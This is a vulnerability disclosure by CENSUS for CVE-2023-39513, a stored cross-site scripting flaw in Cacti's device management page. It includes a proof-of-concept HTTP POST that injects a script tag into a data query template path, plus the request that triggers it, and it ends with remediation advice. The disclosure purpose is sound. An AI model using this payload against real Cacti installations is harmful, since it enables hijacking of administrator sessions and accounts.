CVE-2023-39513: Cross-Site Scripting vulnerability with Device Name when debugging data queries

Summary

A Stored Cross-Site-Scripting Vulnerability allows an authenticated user to poison data stored in the cacti's database. These data will be viewed by administrative cacti accounts and execute JavaScript code in the victim’s browser at view-time.

Details

The script under host.php is used to monitor and manage hosts in the cacti app, hence displays useful information such as data queries and verbose logs. CENSUS found that an adversary that is able to configure a data-query template with malicious code appended in the template path, in order to deploy a stored XSS attack against any user with the General Administration>Sites/Devices/Data privileges.

A user that possesses the Template Editor>Data Queries permissions can configure the data query template path in cacti. Please note that such a user may be a low privileged user. This configuration occurs through http://<HOST>/cacti/data_queries.php by editing an existing or adding a new data query template. If a template is linked to a device then the formatted template path will be rendered in the device’s management page, when a verbose data query is requested.

The relevant vulnerable code can be found at host.php:873

<table class=’cactiTable’ id=’clipboardData<?php print $dbg_copy_uid;?>’> <tr class=’tableRow’> <td class=’debug’> <span><?php print debug_log_return(‘data_query’);?></span> </td> </tr> </table>

Notice how the debug_log_return() call is rendered without any HTML escaping, thus enabling a Stored-XSS attack.

A Stored XSS attack, aka Stored Cross Site Scripting attack, is manifested when an adversary poisons data that is stored in the backend with malicious JavaScript code. If a site is vulnerable to a stored XSS attack then when the poisoned data get rendered on the victim’s browser, the malicious code block will become part of the browser’s DOM and with thus be executed at view-time.

Therefore, it is possible for a victim that has followed an attacker provided URL of the form http:/<HOST>/cacti/host.php?action=query_verbose&id=<QUERY ID>&host_id=<HOST ID>&nostate=true (or for a victim that requested to view the logs from a verbose data-query) to trigger the XSS vulnerability.

PoC

To verify the issue one can perform the following call to place malicious JavaScript in the cacti database:

POST /cacti/data_queries.php?header=false HTTP/1.1
Host: <HOST>
Content-Length: 319
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

__csrf_magic=<TOKEN>&name=Cacti+Stats+-+Data+Collector+Stats&description=Poller+Statistics+for+Cacti's+Main+and+Remote+Data+Collectors&xml_path=%3Cscript%3Ealert('malicious+data+query+path')%3C%2Fscript%3E&data_input_id=12&id=1&save_component_snmp_query=1&action=save

For the attacker to place the malicious payload, the aforementioned Template Editor>Data Query privilege is required. For the victim to view the malicious information, the General Administration>Sites/Devices/Data privilege is required.

An example request that renders the malicious data can be found below:

GET /cacti/host.php?action=query_verbose&id=1&host_id=4&nostate=true HTTP/1.1
Host: <HOST>
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://<HOST>/cacti/host.php?action=edit&id=4
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

Following the rendered payload inside the response of the above request

<tr><td>Total: 0.000000, Delta: 0.000000, Could not find data query XML file at '<script>alert(‘malicious data query path’)</script>’</td></tr>

Impact

To exploit this issue an adversary would need to have the following permissions:

• Template Editor>Data Query

The victim of this attack should have at least the following permissions

• General Administration>Sites/Devices/Data

Once the attacker has executed the malicious JavaScript within the victim’s browser it is possible to

• perform a victim-account takeover
• perform arbitrary actions on the platform as the victim user
• redirect the user to a malicious website
• ask for sensitive information, under the cover of the cacti webpage
• run browser related exploits and attacks
• join a browser botnet and participate in a DDoS attack

Remediation

Before rendering this user supplied information either make this be a text element in the rendered HTML or escape (by using HTML entities) the content so that the malicious block will not be considered as code in the final HTML output.

The issue was identified by Vissarion Moutafis of CENSUS. CENSUS will be releasing an advisory for this issue once a release that fixes the issue becomes available (or in 90 days, whichever comes first). Should you require assistance with the review of the patch we will be more than happy to help!